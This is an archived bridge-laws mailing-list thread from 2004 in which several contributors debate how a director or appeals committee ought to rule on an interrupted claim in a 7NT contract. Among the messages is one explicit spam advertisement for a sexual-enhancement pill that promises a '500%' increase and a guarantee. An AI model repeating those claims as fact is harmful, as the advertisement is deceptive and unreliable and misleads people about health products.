D5 in > >the claim would result in a 12-tricks decision without any discussion. > > Lead was probably heart to the A since the AH is not mentioned > >in the claim statement. > > And a club finesse, probably with the Q appearing, else trick 6 > >should be a small club to the A or K. > > > > With 12 obvious tricks, it looks like he's claiming the 13th in > >clubs, not in spades, and declarer hasn't demonstrated how that 13th > >trick in clubs is coming about. Even in his clarification he doesn't > >seem to realize that 4 spade tricks are necessary. I'm inclined to > >believe it was a bad claim and the "interruption" woke declarer up to > >the realities of the hand, specifically that he didn't have 4 club > >tricks just yet. > > Maybe so, but that does not excuse the opponents' bad conduct. No > doubt if they had shut up it would have come out as a bad claim and > declarer would have got a bad result. > > But once the prats of oppos decide not to allow a proper claim the > balance of doubt shifts. > > -- > David Stevenson Bridge RTFLB Cats Railways /\ /\ > Liverpool, England, UK Fax: +44 870 055 7697 @ @ > ICQ 20039682 bluejak on OKB =( + )= > Lawspage: http://blakjak.com/lws_menu.htm ~ > > _______________________________________________ > blml mailing list > blml@rtflb.org > http://www.amsterdamned.org/mailman/listinfo/blml > From jaapvanderneut@hotmail.com Wed Jan 28 09:35:49 2004 From: jaapvanderneut@hotmail.com (Jaap van der Neut) Date: Wed, 28 Jan 2004 10:35:49 +0100 Subject: [blml] NOT News References: <401779E1.80201@hdw.be> Message-ID: Herman, Your story is ok but your analysis without S9 maybe not. He might just try a positional black suit squeeze while forgetting to Vienna Coup the position resulting in him having to guess wich black suit to discard. Hardly a normal line but definitly not more abnormal than claiming this. Anyway this is an very old discussion. Life would be so much easier if we ruled this kind of claims one down period rather than trying to analyse if all 'normal' lines would make. It is a waste of energy and far too difficult in 95% of the cases. Basic idea, you don't get tricks on top of what you claim (or on top of what you have when you try a 'miscount' claim). Jaap ----- Original Message ----- From: "Herman De Wael" To: "blml" Sent: Wednesday, January 28, 2004 9:59 AM Subject: Re: [blml] NOT News > Ed Reppert wrote: > > > > On Tuesday, Jan 27, 2004, at 04:19 US/Eastern, Herman De Wael wrote: > > > >> Forget for a moment the interruption on the claim statement, and tell > >> me what you do to a man who claims in this position. > > > > > > What was his stated line of play? > > > > Well, if you insist, you can have the line he stated to the AC. > But do you really believe anyone would claim like that? > So imagine some "stated line" that makes sense. > > That is the problem with many a claim case presented to blml. Some > readers try to get into the minds of the claimer, and they end up with > true stories. Others just want to look at 52 cards. They end up with > hypothetical stories that serve no purpose whatsoever. > > Try and imagine this case in real life. Can you conceive of any player > claiming after five tricks in his full senses? No you can't. > > What you can do is imagine the following set of circumstances: > > Claimer played the jack/ten of clubs, which was covered. He thought he > was home and dry and claimed without further thought. > Do you think there is another rational explanation for the facts as > presented? If you do, please tell us, and we can judge your case as > well. If you don't, then let's simply assume that this is the story. > > Now in the real story, claimer was interrupted, and he only told a > line to the AC. We don't know why the AC decided to accept this > ludicrous line, but perhaps they wanted to punish opponents for not > allowing claimer to continue. But that's not the point of our > discussion here. > > We start a hypothetical, in which claimer is not interrupted. > And I ask you how you would rule. OK, you reply with a fair question. > "What was his claim statement?" > > Now we might imagine a lot of claim statements, but surely not "I'm > cashing four spade tricks". Most probably (and again, if you want to > give a ruling on another stated line, please do so) there will be no > further statement, other than "the clubs are good and the rest is high > and than makes ... shit, the clubs aren't good, are they?". > > Now there is a far more interesting case than this one, and it's one > where we take away the nine of spades: > > K Q 8 6 > - 4 > - - - > A - 7 4 > 7 5 3 J 9 4 > J T 8 5 - Q 9 - > - - - - - - > - 3 9 8 5 - > A T 2 > K 7 - > - - 5 - > J - 6 > > > It seems to me that in this lay-out, the only question that remains is > "would claimer notice he does not have high clubs 100% of the time?" > because now, all normal lines lead to 13 tricks. > note: if running the ten and repeating the finesse on the 9 is a > normal line - it works only with two cards well-placed - then please > take away the 8 as well. > > > > > -- > Herman DE WAEL > Antwerpen Belgium > http://www.hdw.be > > > _______________________________________________ > blml mailing list > blml@rtflb.org > http://www.amsterdamned.org/mailman/listinfo/blml > From mv.phaff@quicknet.nl Wed Jan 28 10:47:01 2004 From: mv.phaff@quicknet.nl (Martin Phaff) Date: Wed, 28 Jan 2004 11:47:01 +0100 Subject: [blml] NOT News In-Reply-To: <40177BD6.70308@hdw.be> Message-ID: Of course I do. The only thing I try to make clear is that we - not knowing the first five tricks - assume things, and that makes no point. -----Oorspronkelijk bericht----- Van: blml-admin@rtflb.org [mailto:blml-admin@rtflb.org] Namens Herman De Wael Verzonden: woensdag 28 januari 2004 10:08 Aan: blml Onderwerp: Re: [blml] NOT News Martin Phaff wrote: > The first five tricks: declarer made a successful finesse on S J, made three > D tricks and a successful finesse on C Q. Collecting 4 Spades, 2 Hearts, 4 > Diamonds and 3 Clubs, a very solid claim. > Thank you Martin, for showing all of us that it is very hard to assume anything. You do agree though, that if this had been the real way the play went, we would not be talking about this case? You do allow us to continue the discussion with thee other assumption? > -- Herman DE WAEL Antwerpen Belgium http://www.hdw.be _______________________________________________ blml mailing list blml@rtflb.org http://www.amsterdamned.org/mailman/listinfo/blml From jaapvanderneut@hotmail.com Wed Jan 28 11:56:36 2004 From: jaapvanderneut@hotmail.com (Jaap van der Neut) Date: Wed, 28 Jan 2004 12:56:36 +0100 Subject: [blml] NOT News References: Message-ID: Martin, Of course you are right. It was the first thing I said myself. BUT, for the TD and AC decisions and arguments to make any sense at all we (have to) assume declarer was one trick short for his claim. Anyway that bloody Richard (got a mail that he is away for some time) often gives flawed presentations on purpose so I am curious what is up his sleave this time. Jaap ----- Original Message ----- From: "Martin Phaff" To: "Herman De Wael" ; "blml" Sent: Wednesday, January 28, 2004 11:47 AM Subject: RE: [blml] NOT News > Of course I do. > > The only thing I try to make clear is that we - not knowing the first five > tricks - assume things, and that makes no point. > > -----Oorspronkelijk bericht----- > Van: blml-admin@rtflb.org [mailto:blml-admin@rtflb.org] Namens Herman De > Wael > Verzonden: woensdag 28 januari 2004 10:08 > Aan: blml > Onderwerp: Re: [blml] NOT News > > Martin Phaff wrote: > > > The first five tricks: declarer made a successful finesse on S J, made > three > > D tricks and a successful finesse on C Q. Collecting 4 Spades, 2 Hearts, 4 > > Diamonds and 3 Clubs, a very solid claim. > > > > Thank you Martin, for showing all of us that it is very hard to assume > anything. > > You do agree though, that if this had been the real way the play went, > we would not be talking about this case? > > You do allow us to continue the discussion with thee other assumption? > > > > > -- > Herman DE WAEL > Antwerpen Belgium > http://www.hdw.be > > > _______________________________________________ > blml mailing list > blml@rtflb.org > http://www.amsterdamned.org/mailman/listinfo/blml > > > _______________________________________________ > blml mailing list > blml@rtflb.org > http://www.amsterdamned.org/mailman/listinfo/blml > From nigel.guthrie@ntlworld.com Wed Jan 28 12:08:21 2004 From: nigel.guthrie@ntlworld.com (Nigel Guthrie) Date: Wed, 28 Jan 2004 12:08:21 -0000 Subject: [blml] NOT News References: Message-ID: <00d901c3e597$6d0d0ca0$239468d5@tinyhrieuyik> [Martin Phaff] > The only thing I try to make clear is that we - not > knowing the first five tricks - assume things, and > that makes no point. [Nigel] Life is too short to expect BLMLers to provide every detail when presenting a problem; but we do expect them to supply most of the *relevant* details. (: For example, in this case, if a spade is the initial lead and an opponent false cards CQ under the ace at trick two we expect to be told :) --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.567 / Virus Database: 358 - Release Date: 24/01/2004 From twm@cix.co.uk Wed Jan 28 12:22:00 2004 From: twm@cix.co.uk (Tim West-Meads) Date: Wed, 28 Jan 2004 12:22 +0000 (GMT Standard Time) Subject: [blml] NOT News In-Reply-To: Message-ID: Jaap wrote: > I have read the whole thread. > > 1. Of course it is ridiculous to discuss a claim at trick 5 without > giving the first 5 tricks. We could work out that they involved 3 diamonds, 1H, and one round of clubs (which must itself have involved CJ, covered). > 3. I tend not to believe this interruption story. Probably it became > clear it was a misclaim and the consequent/subsequent remarks, In which case the ruling is trivial. It was not an interrupted claim but a claim with an incomplete statement and we rule one off. However the AC ruling stated unanimously that it was claim interruption and I have no reason to assume they were any less sceptical than we are given the circumstances. > 6. To me it is kind of non problem. Never in my bridge life I have seen > a case of claim interruption. And how do you do that by the way. Now that is easy. Claimer: "I've got the clubs and.." Opp: "The clubs don't break. DIRECTOR!!!!" Claimer: "..and I'm.." Opp: "Be quiet, you are not allowed to say anything until the TD gets here. DIRECTOR!!!!!" Claimer: "..can you let me finish please.." Opp: "No, you aren't allowed to." TD (arriving moderately, but not outrageously promptly: "OK, what seems to be the problem." Claimer and Opp (Simultaneously): "I'm ..." TD: "Just a moment please. One at a time. Now who called me?" Not tactics I think will work against a good and confident player but every chance of brow-beating a diffident one into a losing situation. Tim From twm@cix.co.uk Wed Jan 28 12:22:00 2004 From: twm@cix.co.uk (Tim West-Meads) Date: Wed, 28 Jan 2004 12:22 +0000 (GMT Standard Time) Subject: [blml] NOT News In-Reply-To: <40165D02.5010807@hdw.be> Message-ID: Herman wrote: > > And while I have, in general, great regards for the works of others; > in practice, we are here to discuss rulings and appeals. So we should > be allowed to cast doubt on the decisions of a particular AC. > And then again, I was not discussing whether or not the claimer had > been interrupted. I do trust the TD and AC to determine the facts of > the cases they present. Fine. > > Well yes, but in this instance the "uninterrupted statement" makes 13 > > tricks (Spades break as stipulated) regardless of the play to the > > first five (it matters not whether club jack was covered or run - and > > we know he has played 3 rounds of diamonds since he has only the 5 > > left). > > Yes Tim, but we all know that a claim statement is not to be followed > to the letter as soon as it "breaks down". IMO, this claim statement > breaks down Sorry Herman. You are wrong. The claim statement does not break down - the SJ drops in 3 rounds. This is not a matter of judgement but of fact. > as soon as the claimer (who obviously claimed far too > quickly) realizes he does not have four club tricks and therefor needs > four spade tricks. At that time, he'll start thinking and he'll > realize that he has three possible lines for his fourth spade trick. The claim statement involves cashing the 3 top spades. Had the SJ not fallen the statement would have broken down at this point, but no earlier. Perhaps declarer would have made a flawed claim statement had he not been interrupted. I neither know nor care. Once he is interrupted I am stuck with using the statement > Suppose the claim statement, uninterrupted, would say "3 spade tricks, > 2 hearts, 4 diamonds and the clubs". Would you award the claim or not? Of course not. But I am not going to allow what the statement might have been to affect my ruling. Once I accept that the statement was interrupted I rule on the statement *as made* at the first opportunity. > Now we are getting to the crux of the matter. > I would (of course) award 13 tricks to this declarer if he were in 6NT > and he stated "12 tricks and an overtrick if spades break". > That would be a logical thing to do. > But claiming the same, when playing 7NT, is not a logical thing. So we > know there is something else going on. Yes, and we know what was going on. The claim statement was interrupted by opponents before declarer could complete it. The is no way I am ever going to give any possible benefit to the interrupter so providing the "complete" statement works to produce the desired number of tricks I don't have to worry > Now it is my conviction that the way to rule claims is to isolate the > error that claimer has made, and then to award the number of tricks > claimer would make at minimum, leaving his isolated error, but not > introducing other ones. I do much the same - but only at the point where his error comes into conflict with his stated line of play. > In this case, the error that claimer has made is one of haste. he > hasn't counted his tricks, believing there to be 13 of them. Perhaps true - but not important here. If the line stated in his claim is followed he will make 13 tricks. > When > playing on, I have no more error to keep him to, so I allow him, > before playing on, to count his tricks and realize he needs a fourth > spade trick. I also "allow" him to look for that trick in all possible > ways. Sadly, he has the nine of spades on the table, so a finesse on > the jack is one possible line, which fails : -1. > > Look up the strange claim for a similar case. > > > > >>Even after granting this player all lee-way concerning his > interrupted >>claim statement, this claim is faulty. > > > > > > The claim is valid, in that it generates 13 tricks as the cards lie > > if the stated line is followed. In other words we would have > > accepted the claim as valid had the same statement been made without > > interruption. There is no "rationality" test for claim statements - > > either they lead to success or failure. Rationality becomes an issue > > only when judging lines not encompassed by the claim statement. > > > > And that is where you and I disagree. So be it. Personally I will not accept an objection from opponents based on "if declarer follows a line other than the one stated..". Law70D (new line of play) and L70E (unstated line of play) are irrelevant here. Law 70B is the one under which we are ruling and that does not include a test for normalcy. > No Tim, you misunderstood. Of course it doesn't matter what the > contract is. But the level of the contract determines what kind of > claim we can expect. A person in six can claim 12 tricks with a smile, > a person in seven will wait two more minutes before sighing "I have > found no way to a thirteenth trick". This player was in seven, so if > he claims the way he did, he was certain of 13 tricks. That is > impossible from his position. Conditional "making or -1" claims are common where I play. They are certainly legal (provided a line is stated) and, IMO, sensible if one wants to avoid wasting time. For example: "Spades from the top, 13 tricks if either black suit breaks or West is squeezed." would be normal and accepted (it would be accepted even if S were 4-2 with the J in the short hand along with 4C). Tim From twm@cix.co.uk Wed Jan 28 12:22:00 2004 From: twm@cix.co.uk (Tim West-Meads) Date: Wed, 28 Jan 2004 12:22 +0000 (GMT Standard Time) Subject: [blml] NOT News In-Reply-To: Message-ID: Matin wrote: > The first five tricks: declarer made a successful finesse on S J, made > three D tricks and a successful finesse on C Q. Collecting 4 Spades, 2 > Hearts, 4 Diamonds and 3 Clubs, a very solid claim. This doesn't make sense to me. The claim statement (when eventually made) referred to spades breaking. The S J can't have been played already. Tim From twm@cix.co.uk Wed Jan 28 12:22:00 2004 From: twm@cix.co.uk (Tim West-Meads) Date: Wed, 28 Jan 2004 12:22 +0000 (GMT Standard Time) Subject: [blml] NOT News In-Reply-To: Message-ID: Jaap wrote: > What makes you think opponents conduct was bad. It wasn't according to > the table TD. What about AC's conduct to overrule the table TD on this > one without even hearing her. Strange. The impression I got is that the TD had not really investigated the "interruption" (it was not mentioned as part of the TD ruling) while the AC had heard evidence from all parties before coming to an unanimous and considered conclusion that an interruption had occurred. Perhaps you right and the TD did a good job and the AC a bad one - but in that case the right ruling is a trivial one down. > And what about claimers conduct? Claiming this at this stage is not only > stupid, Why? Playing in good company "Spades from the top, 13 tricks if either black suit breaks or West is squeezed." is a fine statement that saves time and causes no problems whatsoever. > it is also creates this kind of prolblems, so it is bad behaviour in > itself. It was not the attempt to claim that caused a problem (at least according to the AC) but the actions of opponents in preventing a full claim statement. Tim From hermandw@hdw.be Wed Jan 28 13:02:46 2004 From: hermandw@hdw.be (Herman De Wael) Date: Wed, 28 Jan 2004 14:02:46 +0100 Subject: [blml] NOT News In-Reply-To: References: Message-ID: <4017B2F6.8070907@hdw.be> Tim West-Meads wrote: > Herman wrote: > >>And while I have, in general, great regards for the works of others; >>in practice, we are here to discuss rulings and appeals. So we should >>be allowed to cast doubt on the decisions of a particular AC. >>And then again, I was not discussing whether or not the claimer had >>been interrupted. I do trust the TD and AC to determine the facts of >>the cases they present. > > > Fine. > > >>>Well yes, but in this instance the "uninterrupted statement" makes 13 >>>tricks (Spades break as stipulated) regardless of the play to the >>>first five (it matters not whether club jack was covered or run - and >>>we know he has played 3 rounds of diamonds since he has only the 5 >>>left). >> >>Yes Tim, but we all know that a claim statement is not to be followed >>to the letter as soon as it "breaks down". IMO, this claim statement >>breaks down > > > Sorry Herman. You are wrong. The claim statement does not break down - > the SJ drops in 3 rounds. This is not a matter of judgement but of fact. > > Sorry Tim, you are wrong. The claim statement breaks down as soon as claimer realize he does not have the 13 tricks he was thinking of. I don't know if he was thinking of 4 club or 4 spade tricks, or if he was thinking 3+2+4+3=13, but at some point in time, claimer will realize that he does not have 13 tricks. That is when the claim statement breaks down. Now the discussion might turn interesting when we ask "will this always happen"? But in my discussion with you that is of no importance whatsoever. Because even a 20% chance of claimer noticing this sometim during the next 5 tricks is enough. >>as soon as the claimer (who obviously claimed far too >>quickly) realizes he does not have four club tricks and therefor needs >>four spade tricks. At that time, he'll start thinking and he'll >>realize that he has three possible lines for his fourth spade trick. > > > The claim statement involves cashing the 3 top spades. Had the SJ not > fallen the statement would have broken down at this point, but no earlier. > Perhaps declarer would have made a flawed claim statement had he not been > interrupted. I neither know nor care. Once he is interrupted I am stuck > with using the statement > > >>Suppose the claim statement, uninterrupted, would say "3 spade tricks, >>2 hearts, 4 diamonds and the clubs". Would you award the claim or not? > > > Of course not. But I am not going to allow what the statement might have > been to affect my ruling. Once I accept that the statement was > interrupted I rule on the statement *as made* at the first opportunity. > OK, you are allowed to do so. _IF_ you believe that the statement "as made" is the same statement he would have made originally. I'm all in favour of giving this player the benefit of the doubt. But you (and David) seem to translate that benefit into complete trust. And that cannot be right. I have no doubt whatsoever that this player, when he told the committee what he would have said had he been allowed to continue, was lying through his teeth. And I don't even care. Because even if this statement had been made at the table, I would still have ruled against this man. As I pointed out above, there is no way this man will not realize that he does not have his 13 tricks. At that point, he will start looking for various alternatives and, als for him, there are at least 3 normal lines, one of which fails. > >>Now we are getting to the crux of the matter. >>I would (of course) award 13 tricks to this declarer if he were in 6NT >>and he stated "12 tricks and an overtrick if spades break". >>That would be a logical thing to do. >>But claiming the same, when playing 7NT, is not a logical thing. So we >>know there is something else going on. > > > Yes, and we know what was going on. The claim statement was interrupted > by opponents before declarer could complete it. The is no way I am ever > going to give any possible benefit to the interrupter so providing the > "complete" statement works to produce the desired number of tricks I don't > have to worry > > >>Now it is my conviction that the way to rule claims is to isolate the >>error that claimer has made, and then to award the number of tricks >>claimer would make at minimum, leaving his isolated error, but not >>introducing other ones. > > > I do much the same - but only at the point where his error comes into > conflict with his stated line of play. > > >>In this case, the error that claimer has made is one of haste. he >>hasn't counted his tricks, believing there to be 13 of them. > > > Perhaps true - but not important here. If the line stated in his claim is > followed he will make 13 tricks. > This is where we are in disagreement. I would like to hear the view of others who have followed this thread this far. Do you rule in favour of a player who miscounts 13 tricks ans plays 3 top spades, only to find that he has miraculously found a 14th trick? > >>When >>playing on, I have no more error to keep him to, so I allow him, >>before playing on, to count his tricks and realize he needs a fourth >>spade trick. I also "allow" him to look for that trick in all possible >>ways. Sadly, he has the nine of spades on the table, so a finesse on >>the jack is one possible line, which fails : -1. >> >>Look up the strange claim for a similar case. >> >> >>>>Even after granting this player all lee-way concerning his >> >>interrupted >>claim statement, this claim is faulty. >> >>> >>>The claim is valid, in that it generates 13 tricks as the cards lie >>>if the stated line is followed. In other words we would have >>>accepted the claim as valid had the same statement been made without >>>interruption. There is no "rationality" test for claim statements - >>>either they lead to success or failure. Rationality becomes an issue >>>only when judging lines not encompassed by the claim statement. >>> >> >>And that is where you and I disagree. > > > So be it. Personally I will not accept an objection from opponents based > on "if declarer follows a line other than the one stated..". Law70D (new > line of play) and L70E (unstated line of play) are irrelevant here. Law > 70B is the one under which we are ruling and that does not include a test > for normalcy. > Law 70B is of no help here. It does not tell us what to do, after we've written down claimer's statement. > >>No Tim, you misunderstood. Of course it doesn't matter what the >>contract is. But the level of the contract determines what kind of >>claim we can expect. A person in six can claim 12 tricks with a smile, >>a person in seven will wait two more minutes before sighing "I have >>found no way to a thirteenth trick". This player was in seven, so if >>he claims the way he did, he was certain of 13 tricks. That is >>impossible from his position. > > > Conditional "making or -1" claims are common where I play. They are > certainly legal (provided a line is stated) and, IMO, sensible if one > wants to avoid wasting time. For example: "Spades from the top, 13 > tricks if either black suit breaks or West is squeezed." would be normal > and accepted (it would be accepted even if S were 4-2 with the J in the > short hand along with 4C). > It would be perfectly normal and acceptable. But that is not what this claimer did, nor what he intended, and even in his statement to the AC there was nothing about conditional claiming. If the claimer had stated tot the AC, something like: "I was going to say - I have 13 tricks if I can make 4 spade tricks, and I shall play them top down, so my contract is made if they are 3-3, and down if they are not" then I might indeed rule as you do. This is a claim statement that makes sense, and which does not show that claimer mistakenly thought he had 13 tricks regardless of spade distribution. But he did not. So I rule that his "claim statement" does not entail a true plan of play, and I rule that the claim statement _could_ break down much sooner than you believe. And that claimer is "free" to take all normal lines after that. And go down. Why do you insist on giving a claimer more than he (morally?) deserves? Usually I am the one on the lenient side of such an argument! > Tim > > -- Herman DE WAEL Antwerpen Belgium http://www.hdw.be From hermandw@hdw.be Wed Jan 28 13:04:56 2004 From: hermandw@hdw.be (Herman De Wael) Date: Wed, 28 Jan 2004 14:04:56 +0100 Subject: [blml] NOT News In-Reply-To: References: Message-ID: <4017B378.9040907@hdw.be> Tim West-Meads wrote: > Jaap wrote: > > >>And what about claimers conduct? Claiming this at this stage is not only >>stupid, > > > Why? Playing in good company "Spades from the top, 13 tricks if either > black suit breaks or West is squeezed." is a fine statement that saves > time and causes no problems whatsoever. > But that's not what this claimer did, tried to do, or even tried making the AC believe he was trying to do. > -- Herman DE WAEL Antwerpen Belgium http://www.hdw.be From 02seamentongue@wildmail.com Wed Jan 28 11:15:11 2004 From: 02seamentongue@wildmail.com (Gladys.stubbs) Date: Wed, 28 Jan 2004 14:15:11 +0300 Subject: [blml] Re: Ejacu.late Like A P0RN Star!!! parsimony Message-ID: cumpills2
SHOWER YOUR LOVER WITH
BUCKET LOADS OF SP.ERM!
 

It's Amazing & Has Finally Arrived! A Unique Pill That Will Increase Your Spe.rm By Up To 500% More -We Guaran.teed It!

Maintain Rock Solid Erect.ions.
Increased Se.xual Desire & Performance.
- Shoot Out Amazing Amounts Of Spe.rm Everywhere.
- Multiple Extreme Orga.sms! Have 2 Or 3 Each Time.
- 100% Mon.ey Back Guar.antee With Every Order.
 

EJACU.LATE LIKE A P0RN STAR

READ MORE INFO HERE
 
 

no more emailz

mermaid From nigel.guthrie@ntlworld.com Wed Jan 28 13:17:49 2004 From: nigel.guthrie@ntlworld.com (Nigel Guthrie) Date: Wed, 28 Jan 2004 13:17:49 -0000 Subject: [blml] NOT News References: Message-ID: <015201c3e5a1$24c213a0$239468d5@tinyhrieuyik> IMO, whether or not the claim was interrupted is important; but not the central issue in this case: Jaap Van der Neut, Herman De Wael, and I find the completion of the claim to be incompatible with the normal meaning of the initial sentence: "I have the clubs" If the claimer's English is poor or if he is unfamiliar with Bridge jargon, then these too are considerations which would influence our judgement. --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.567 / Virus Database: 358 - Release Date: 24/01/2004 From cibor@poczta.fm Wed Jan 28 14:37:19 2004 From: cibor@poczta.fm (Konrad Ciborowski) Date: Wed, 28 Jan 2004 15:37:19 +0100 Subject: [blml] NOT News References: Message-ID: <007b01c3e5ac$413c1ca0$65284cd5@c5s5d3> ----- Original Message ----- From: "Tim West-Meads" To: Sent: Wednesday, January 28, 2004 1:22 PM Subject: Re: [blml] NOT News > Herman wrote: > > > > And while I have, in general, great regards for the works of others; > > in practice, we are here to discuss rulings and appeals. So we should > > be allowed to cast doubt on the decisions of a particular AC. > > And then again, I was not discussing whether or not the claimer had > > been interrupted. I do trust the TD and AC to determine the facts of > > the cases they present. > > Fine. > > > > Well yes, but in this instance the "uninterrupted statement" makes = 13 > > > tricks (Spades break as stipulated) regardless of the play to the > > > first five (it matters not whether club jack was covered or run - a= nd > > > we know he has played 3 rounds of diamonds since he has only the 5 > > > left). > > > > Yes Tim, but we all know that a claim statement is not to be followed > > to the letter as soon as it "breaks down". IMO, this claim statement > > breaks down > > Sorry Herman. You are wrong. The claim statement does not break down = - It does. At the point when declarer said "I've got the clubs". This canno= t mean anything else other than "The clubs are good". No one I know uses phrases like that in another meaning. Don't tell that "I've got the clubs" meant "I have at least two cards of = the club suit in my hand". I don't buy it. Konrad Ciborowski Krak=F3w, Poland From cibor@poczta.fm Wed Jan 28 14:38:46 2004 From: cibor@poczta.fm (Konrad Ciborowski) Date: Wed, 28 Jan 2004 15:38:46 +0100 Subject: [blml] NOT News References: <401779E1.80201@hdw.be> Message-ID: <007c01c3e5ac$72d4f340$65284cd5@c5s5d3> ----- Original Message ----- From: "Jaap van der Neut" To: "Herman De Wael" ; "blml" Sent: Wednesday, January 28, 2004 10:35 AM Subject: Re: [blml] NOT News > Herman, > > Your story is ok but your analysis without S9 maybe not. He might just = try a > positional black suit squeeze while forgetting to Vienna Coup the posit= ion > resulting in him having to guess wich black suit to discard. >Hardly a normal line Why not? It is quite possible that declarer (whether he knows a thing or two about squeezes or not) might decide to cash his side winners before testing the crucial black suits simply to put pressure on the opponents (even when there is no real squeeze). . IM(H)O failing to see that this will force dummy to part with one of the black cards is merely a piece of carelessness. Such a line is careless but not irrational. Konrad Ciborowski Krak=F3w, Poland From twm@cix.co.uk Wed Jan 28 14:59:00 2004 From: twm@cix.co.uk (Tim West-Meads) Date: Wed, 28 Jan 2004 14:59 +0000 (GMT Standard Time) Subject: [blml] NOT News In-Reply-To: <4017B2F6.8070907@hdw.be> Message-ID: Herman wrote: > I have no doubt whatsoever that this player, when he told the > committee what he would have said had he been allowed to continue, was > lying through his teeth. Perhaps he is, perhaps he isn't. However having accepted that his opponents breached procedure by preventing a claim statement at the table I don't care. He gets the benefit of the doubt and his opponents do not. Personally I have no problem believing that a) he had indeed miscounted his tricks and b) he was indeed intending to say that he was cashing spades from the top. > And I don't even care. Because even if this statement had been made at > the table, I would still have ruled against this man. As I pointed out > above, there is no way this man will not realize that he does not have > his 13 tricks. So what? His claim statement includes cashing his 3 top spades and making 13 tricks if they break. It is, in the context of the hands held by opponents, flawless. > > Perhaps true - but not important here. If the line stated in his > > claim is followed he will make 13 tricks. > > > > This is where we are in disagreement. > I would like to hear the view of others who have followed this thread > this far. Do you rule in favour of a player who miscounts 13 tricks > ans plays 3 top spades, only to find that he has miraculously found a > 14th trick? If the player's stamen starts with the line that he is going to start by cashing 3 top spades then I rule on him starting with 3 top spades, end of story. > > > > >>When > >>playing on, I have no more error to keep him to, so I allow him, > >>before playing on, to count his tricks and realize he needs a fourth > >>spade trick. I also "allow" him to look for that trick in all > possible >>ways. Sadly, he has the nine of spades on the table, so a > finesse on >>the jack is one possible line, which fails : -1. > >> > >>Look up the strange claim for a similar case. > >> > >> > >>>>Even after granting this player all lee-way concerning his > >> > >>interrupted >>claim statement, this claim is faulty. > >> > >>> > >>>The claim is valid, in that it generates 13 tricks as the cards lie > >>>if the stated line is followed. In other words we would have > >>>accepted the claim as valid had the same statement been made without > >>>interruption. There is no "rationality" test for claim statements > - >>>either they lead to success or failure. Rationality becomes an > issue >>>only when judging lines not encompassed by the claim statement. > >>> > >> > >>And that is where you and I disagree. > > > > > > So be it. Personally I will not accept an objection from opponents > > based on "if declarer follows a line other than the one stated..". > > Law70D (new line of play) and L70E (unstated line of play) are > > irrelevant here. Law 70B is the one under which we are ruling and > > that does not include a test for normalcy. > > Law 70B is of no help here. It does not tell us what to do, after > we've written down claimer's statement. We follow it. We hear objections to the statement. We dismiss as the ravings of lunatics those objections which require declarer to follow a line other than the one stated. > > > > Conditional "making or -1" claims are common where I play. They are > > certainly legal (provided a line is stated) and, IMO, sensible if one > > wants to avoid wasting time. For example: "Spades from the top, 13 > > tricks if either black suit breaks or West is squeezed." would be > > normal and accepted (it would be accepted even if S were 4-2 with the > > J in the short hand along with 4C). > > It would be perfectly normal and acceptable. > But that is not what this claimer did, nor what he intended, and even > in his statement to the AC there was nothing about conditional claiming. Why should there be? There is no need for him to expand his statement any further than the moment the first success condition is met. > Why do you insist on giving a claimer more than he (morally?) deserves? > Usually I am the one on the lenient side of such an argument! I don't. I am giving him the number tricks consistent with his claim statement. I am doing so because players must not, in any circumstances, be allowed to benefit from such interruptions. Tim From twm@cix.co.uk Wed Jan 28 14:59:00 2004 From: twm@cix.co.uk (Tim West-Meads) Date: Wed, 28 Jan 2004 14:59 +0000 (GMT Standard Time) Subject: [blml] NOT News In-Reply-To: <015201c3e5a1$24c213a0$239468d5@tinyhrieuyik> Message-ID: Nigel wrote: > IMO, whether or not the claim was interrupted is > important; but not the central issue in this case: Ah well, if you don't see the interruption as the central issue you will never rule the same way as those who do. If we give players the message that interrupting claims will sometimes work to their advantage then some players will abuse this - thus we evaluate interrupted claims on the basis of the first complete statement actually made. Our players will soon learn not to interrupt prematurely. Tim From cibor@poczta.fm Wed Jan 28 15:00:50 2004 From: cibor@poczta.fm (Konrad Ciborowski) Date: Wed, 28 Jan 2004 16:00:50 +0100 Subject: [blml] NOT News References: Message-ID: <00a101c3e5af$87eb7b20$65284cd5@c5s5d3> ----- Original Message ----- From: "Jaap van der Neut" To: "Martin Phaff" ; "Herman De Wael" ; "blml" Sent: Wednesday, January 28, 2004 12:56 PM Subject: Re: [blml] NOT News > Martin, > > Of course you are right. It was the first thing I said myself. > > BUT, for the TD and AC decisions and arguments to make any sense at all= we > (have to) assume declarer was one trick short for his claim. > > Anyway that bloody Richard (got a mail that he is away for some time) often > gives flawed presentations on purpose so I am curious what is up his sleave > this time. > I am afraid nothing. Here is the Bulletin: http://www.abf.com.au/events/not/2004/html/docs/contsum.htm The appeal is in the Bulletin 9 - the write-up says nothing about the five first tricks. Konrad Ciborowski Krak=F3w, Poland From jaapvanderneut@hotmail.com Wed Jan 28 15:15:47 2004 From: jaapvanderneut@hotmail.com (Jaap van der Neut) Date: Wed, 28 Jan 2004 16:15:47 +0100 Subject: [blml] NOT News References: Message-ID: > Claimer: "I've got the clubs and.." > Opp: "The clubs don't break. DIRECTOR!!!!" > Claimer: "..and I'm.." > Opp: "Be quiet, you are not allowed to say anything until the TD gets > here. DIRECTOR!!!!!" > Claimer: "..can you let me finish please.." > Opp: "No, you aren't allowed to." > TD (arriving moderately, but not outrageously promptly: "OK, what seems to > be the problem." > Claimer and Opp (Simultaneously): "I'm ..." > TD: "Just a moment please. One at a time. Now who called me?" Dear Tim of course you are right that this is not exactly what we want. But have you ever seen such a show in real life. I have not. Besides the TD statement doesn't directly support such an extreme reality. But even if something like this has happened I would not assume any intent but simply look at the face value. If you start with 'I've got the clubs' or equivalent while claiming this in 7NT your claim is dead. You can hardly blame someone with a club stop to object or to call the director. Jaap ----- Original Message ----- From: "Tim West-Meads" To: Sent: Wednesday, January 28, 2004 1:22 PM Subject: Re: [blml] NOT News > Jaap wrote: > > > I have read the whole thread. > > > > 1. Of course it is ridiculous to discuss a claim at trick 5 without > > giving the first 5 tricks. > > We could work out that they involved 3 diamonds, 1H, and one round of > clubs (which must itself have involved CJ, covered). > > > 3. I tend not to believe this interruption story. Probably it became > > clear it was a misclaim and the consequent/subsequent remarks, > > In which case the ruling is trivial. It was not an interrupted claim but > a claim with an incomplete statement and we rule one off. However the AC > ruling stated unanimously that it was claim interruption and I have no > reason to assume they were any less sceptical than we are given the > circumstances. > > > 6. To me it is kind of non problem. Never in my bridge life I have seen > > a case of claim interruption. And how do you do that by the way. > > Now that is easy. > 